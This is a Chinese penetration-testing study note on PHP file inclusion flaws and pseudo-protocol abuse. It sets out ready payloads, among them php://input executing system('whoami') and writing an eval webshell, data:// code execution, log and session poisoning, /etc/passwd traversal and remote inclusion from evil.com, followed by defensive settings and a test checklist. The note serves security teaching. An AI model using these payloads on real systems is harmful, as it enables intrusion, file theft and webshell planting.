渗透高级第一次作业(笔记整理)

PHP文件包含漏洞与伪协议利用指南

目录


漏洞原理

基本概念

  • 定义:通过PHP函数引入文件时,传入的文件名未经过合理验证,导致包含非预期文件

  • 核心:用户输入直接带入包含函数 → 文件泄漏/代码执行

漏洞条件

复制代码
allow_url_fopen = On    // 允许从远程获取数据
allow_url_include = On  // 允许包含远程文件(php5.2后默认Off)

包含函数

函数 错误处理 特点
include() 警告,脚本继续 最常用
require() 致命错误,脚本停止
include_once() 同include,已包含则不重复
require_once() 同require,已包含则不重复

PHP伪协议

协议使用条件总结

协议 allow_url_fopen allow_url_include 主要用途
file:// 任意 任意 读取本地文件
php://filter 任意 任意 读取源码​
php://input 任意 必须On​ 执行POST代码​
zip:// 任意 任意 包含压缩包内文件
phar:// 任意 任意 包含压缩包内文件
data:// 必须On​ 必须On​ 执行URI中的代码

各协议详细用法

1. file:// - 读取本地文件

复制代码
?file=file://D:/www/flag.txt
?file=file:///etc/passwd
  • 特点:双OFF也可用,最简单直接

2. php://filter- 读取源码(最常用)

复制代码
# 基本用法(Base64编码输出)
?file=php://filter/read=convert.base64-encode/resource=index.php

# 多层过滤
?file=php://filter/convert.base64-encode/resource=index.php
  • 注意:必须Base64编码,否则源码会被执行

3. php://input- 执行POST代码(重点)

复制代码
POST /cmd.php?file=php://input HTTP/1.1

<?php system('whoami'); ?>

# 写入木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
  • 技巧 :遇到file_get_contents()验证内容时使用

4. 压缩文件协议

复制代码
# zip:// [绝对路径]#[内部文件]
?file=zip://D:\upload.jpg%23code.php

# phar:// [相对/绝对路径]/[内部文件]  
?file=phar://./upload.zip/code.php
  • 注意 :#需要URL编码为%23

5. data:// - 执行数据流

复制代码
# 明文方式
?file=data://text/plain,<?php phpinfo()?>

# Base64方式  
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

# 简写方式
?file=data:text/plain,<?php phpinfo()?>

特殊文件包含技巧(难点)

1. 包含日志文件

  • 路径 :/var/log/apache2/access.log

  • 方法:将PHP代码写入User-Agent → 包含日志文件

    GET / HTTP/1.1
    User-Agent:

2. 包含Session文件

  • 路径 :/tmp/sess_PHPSESSID

  • 查看路径 :phpinfo()中的session.save_path

  • 方法:控制Session内容 → 包含Session文件

3. 包含上传文件

复制代码
# 制作图片马
copy image.jpg/b + shell.php webshell.jpg

# 上传后包含
?file=./uploads/webshell.jpg

4. 包含临时文件

  • 路径 :Linux /tmp/,Windows `C:\Windows\Temp`

  • 方法:利用文件上传时的临时文件竞争包含

  • 难点:需要暴力猜解文件名


绕过技巧(难点)

1. 路径遍历绕过

复制代码
# 基础遍历
?file=../../etc/passwd

# URL编码绕过
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
?file=..%2f..%2fetc%2fpasswd

# 特殊编码(Apache)
?file=..%c0%afetc%c0%afpasswd

2. 后缀绕过

复制代码
# 原始代码:include($file . ".txt");

# 使用?绕过
?file=http://evil.com/shell.php?

# 使用#绕过  
?file=http://evil.com/shell.php%23

3. 截断绕过(历史方法)

复制代码
# %00截断(PHP<5.3.4)
?file=shell.php%00

# 长度截断
?file=./././...(重复)./shell.php

防御措施(容易)

配置安全

复制代码
; 最小权限原则
allow_url_include = Off
allow_url_fopen = Off

; 限制文件访问范围
open_basedir = /var/www/html

代码层面

复制代码
// 白名单验证
$allow_files = ['home.php', 'about.php'];
if(in_array($file, $allow_files)) {
    include($file);
}

// 严格过滤
$file = str_replace(['../', '..\\'], '', $file);

实战检查清单

基础检测

  • 直接包含测试:?file=../../etc/passwd

  • php://filter读取:?file=php://filter/convert.base64-encode/resource=index.php

  • 检查phpinfo信息

进阶利用

  • php://input执行代码

  • zip/phar协议包含测试

  • 日志文件包含尝试

  • Session文件包含测试

  • 上传文件包含

绕过测试

  • 各种编码方式测试

  • ?/#后缀绕过

  • 路径遍历深度测试


核心记忆点

重点掌握

  1. 伪协议使用条件​ - 攻击成功的基础

  2. php://filter读取源码​ - 最常用手段

  3. 日志/Session包含​ - 高级利用思路

难点注意

  1. 路径编码绕过​ - 需要熟悉各种编码方式

  2. 特殊文件包含​ - 需要了解系统文件结构

  3. 条件竞争利用​ - 技术门槛较高

容易点

  1. 基础包含原理​ - 概念清晰易懂

  2. 防御措施​ - 原则简单明确

  3. 基础绕过​ - 方法直接有效


总结:掌握伪协议条件 > 特殊文件包含 > 绕过技巧 > 基础用法

相关推荐
数据库安全1 小时前
AI数据访问安全 |如何控制AI访问权限,防止越权
数据库·安全
2501_937767162 小时前
面向设计 / 研发部门:终端文件统一归档 + 服务器定时备份实践
运维·安全
果壳science2 小时前
张祥前实验如何获取正电荷
笔记·科技·嵌入式硬件·硬件工程·制造
时代新威powertime2 小时前
时代新威·视角|云计算平台中数据隐私保护机制的研究
网络安全·云计算
珠海西格电力3 小时前
物联网(IoT)在零碳园区中的关键作用:万物互联与数据采集
大数据·人工智能·物联网·安全·系统架构·能源
大叔学Linux3 小时前
FreeRTOS任务切换笔记
arm开发·笔记
安教安全员通关宝3 小时前
【证书管理】安全员 C 证延续:条件、时间窗口与各省口径对照
安全
网易易盾5 小时前
直播话术合规改造:六类违规表述判定与改写规则
大数据·人工智能·安全
dk_tjy5 小时前
迪康加密系统技术解析:驱动层透明加密的机制、策略与工程权衡
运维·安全·网络安全·终端安全管理·数据防泄漏
龙亘川5 小时前
城市公共安全治理如何从“人海战术“走向“数据驱动“?
大数据·数据库·人工智能·安全·microsoft·智慧城市·数据可视化